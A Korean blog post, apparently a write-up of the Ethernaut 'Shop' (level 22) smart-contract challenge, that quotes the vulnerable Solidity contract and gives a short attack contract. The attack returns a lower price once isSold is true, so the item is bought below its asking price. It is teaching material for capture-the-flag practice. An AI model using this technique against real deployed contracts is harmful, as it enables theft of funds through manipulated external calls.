Heuristic Wave Follow
Feb 5, 2019 · 8 min read

Ethernaut Shop Problem — 이더넛 22단계 문제 해설

문제 해설에 들어가기 전, 이더넛 내에서 콘솔창과 상호작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어 있다는 가정 하에 해설을 진행합니다. 필자의 풀이 방법이 절대적은 풀이 방법은 아니므로 이 점 참고하시기 바랍니다.

The Ethernaut

by

Heuristic Wave

Shop Problem

가격을 물어봤을때보다 더 싼 값에 아이템을 샀나요?

- Shop은 Buyer로부터 사용되는 것을 예측한다.
- gas()의 작동의 이해

코드 분석

Denial.sol

```
interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
```

```
    uint public price = 100;
    bool public isSold;

    function buy() public {
      Buyer _buyer = Buyer(msg.sender);   // 호출자가 구매자가 된다.

      if (_buyer.price.gas(3000)() >= price && !isSold) {
        isSold = true;
        price = _buyer.price.gas(3000)();
      }
    }
  }
```

Shop컨트랙트 안에서 Buyer라는 변수를 사용하기 위해서, Buyer라는 interface가 선언되어 있고, Shop 컨트랙트안에는 price를 100으로 지정해두고 buy()안에 if문안에 조건을 만족한다면 price의 값을 재정의 하는 코드가 있다.

처음 문제에서 물어봤을때(100)보다 더싸게 아이템을 삿나요?라고 물어본 문장을 생각해본다면 코드의 마지막 부분에 위치한, 변수 price를 재정의 하는 코드에서 `_buyer.price.gas(3000)()` 이 100미만의 값으로 바뀌어야 한다.

우선 주어진 힌트를 모두 파악하기 위해서 gas()를 먼저 알아보자! gas()의 이해

gas()는 다른 컨트랙트의 함수를 호출할 때 사용하는 gas의 양을 정해준다.

> 참고로 21단계에서 만난, value()는 다른 컨트랙트의 함수를 호출할 때 보내는 wei의 양이다.

문제 풀이 과정

공격용 contract를 작성할 때, Shop.sol의 코드를 고려해보면 _buyer.price의 리턴값이 필요하다. 즉, 인터페이스 Buyer를 이용하거나 내부에 Shop.sol의 price함수와 같은 형태의 price함수가 존재해야 한다. price()가 호출된후 return 값이 변경되어야 함으로 아래와 같이 ?연산자를 활용하여 isSold의 bool type이 true일 경우 16으로 변경해주는 다음과 같은 공격코드를 작성 할 수 있다.

> isSold뒤에 ()함수 표시를 해두지 않으면 컴파일이 불가능하다. isSold는 bool 타입의 변수이지만 솔리디티에서 변수를 선언하면 get함수로 인식된다. 그러므로 코드를 작성

> 할때 isSold()로 기재한다.
>
> 더불어 isSold가 public으로 선언되었기 때문에, 접근가능하고 get함수로 사용이 가능하다. 만약 private로 선언하였다면 접근할수없을 뿐더러, remix에서 get함수로 보이지도 않는다.

ShopAttack.sol

```
contract ShopAttack {
  function price() external view returns (uint) {
    return Shop(msg.sender).isSold() ? 16 : 100;
  }
  // 타깃을 Shop.sol로 설정하고 Shop.sol의 buy()함수 호출
  function attack(Shop _victim) external {
    Shop(_victim).buy();
  }
}
```

위 코드를 아래 사진처럼 Shop.sol 하단에 붙여넣어 배포하면 자동으로 Shop의 인터페이스를 사용 할 수 있다.

ShopAttack.sol에 Shop의 주소를 넣어 배포하면 isSold의 값과 price가 변경된 것을 알 수 있다.

이제 문제를 제출하면 끝!

문제를 제출하니 출제자가 Contract는 원하는 방식대로 다른 Contract에 의해 조작될 수 있다며, 동일한 view기능의 함수를 승인하는 것은 안전하지 않다는 메시지를 전한다. 이어서 나는 독자여러분에게 다음과 같은 메시지도 함께 전하고 싶다.

문제를 풀다보면 출제자가 왜 이런 문제를 출제하고, 문제 구성의 배치에 대하여 고민할 때가 있다.

21번문제와 22번문제를 포스팅하기위해 공부를 하다보니 해당문제의 메시지가 솔리디티도큐먼트에 주의사항에 담겨있는것을 알게되었다. 아마 아래 공식문서의 경고를 우리에게 문제로 만나게 해주려고 21, 22번의 연속된 문제로 출제한 것이 아닐까 싶다. (22번 문제 상단, gas()의 이해라는 힌트와 관련이 있다.)

> Any interaction with another contract imposes a potential danger, especially if the source code of the contract is not known in advance. The current contract hands over control to the called contract and that may potentially do just about anything. Even if the called contract inherits from a known parent contract, the inheriting contract is only required to have a correct interface. The implementation of the contract, however, can be

> completely arbitrary and thus, pose a danger. In addition, be prepared in case it calls into other contracts of your system or even back into the calling contract before the first call returns. This means that the called contract can change state variables of the calling contract via its functions. Write your functions in a way that, for example, calls to external functions happen after any changes to state variables in your contract so your contract is not vulnerable to a reentrancy exploit.
>
> 다른 계약과의 상호작용은, 특히 contract의 소스코드가 사전에 알려지지 않았을 경우에 잠재적인 위험을 앉고 있다. 현재의 contract는 called contract에게 통제권을 넘겨주고, 이것은 잠재적으로 어떤것이든 할 수 있다. called contract가 부모 contract로부터 상속받는 경우에도, 상속된 계약에는 올바른 인터페이스만 존재하면 된다. 그러나 contract의 실행은 완전히 제멋대로일(예상치 못한 사고를 뜻함) 수 있어 위험을 내포하고 있다. 또한 첫 번째 호출이 반환되기 전에, 다른 계약을 호출하거나 호출 계약에 다시 들어갈 경우를 준비해야 한다. 즉, called contract는 함수를 통해 호출하는 contract의 상태 변수를 변경할 수 있음을 의미합니다. 예를 들어 계약에서 상태 변수를 변경 한 후에 외부 함수를 호출하면 함수가 재진입에 취약하지 않도록 함수를 작성해야 한다. (21, 22번문제의 메시지)

작년 7월 처음 이더넛을 연재할 당시 구글에 한국어로 된 이더넛 포스팅이 모도리님을 제외하고는 보이지 않았지만, 이제는 나말고도 여러분들이 이더넛에 도전하고 있는 모습을 볼 수 있었다. 19단계이후 오랜기간동안 손을 놓고 있었는데, 많은 분들이 포스팅을 하는 것을 보고 이후 단계를 풀 수 있는 촉매가 되었다ㅋㅋ

여기까지해서 길고긴 이더넛의 여정을 끝냈다. (뭐 향후 새로운 문제가 또 나올수도 있지만....) 일개 코드에 불과한 데이터들을 Shop혹은 Elevator 등 과 같은 재미있는 비유를 담아, 문제를 해결하려 집중하는 순간 이더리움 세계를 여행하게 되었다. 뿐만아니라, 문제를 통과하면 실제 여행을 마치고 온듯이 그동안의 고생했던 과정들이 너무나도 재미있는 여행처럼 느껴졌다. 이미 알고 있었던 지식을 점검하고, 또 정확히 알지 못했던 지식들도 재정립하는 시간이 되었다. 이더넛을 만나기 전에는, 초보개발자로써 단한번도 치열하게 코드와 싸운 경험이 없어 항상 부끄러움이 있었다. 이더넛 한문제를 풀기 위해, 밤도 새보고 몇일동안 밤낮으로 고민하다보니 어느새 개발자의 자세도 조금은 만들어진 것 같다. 끝!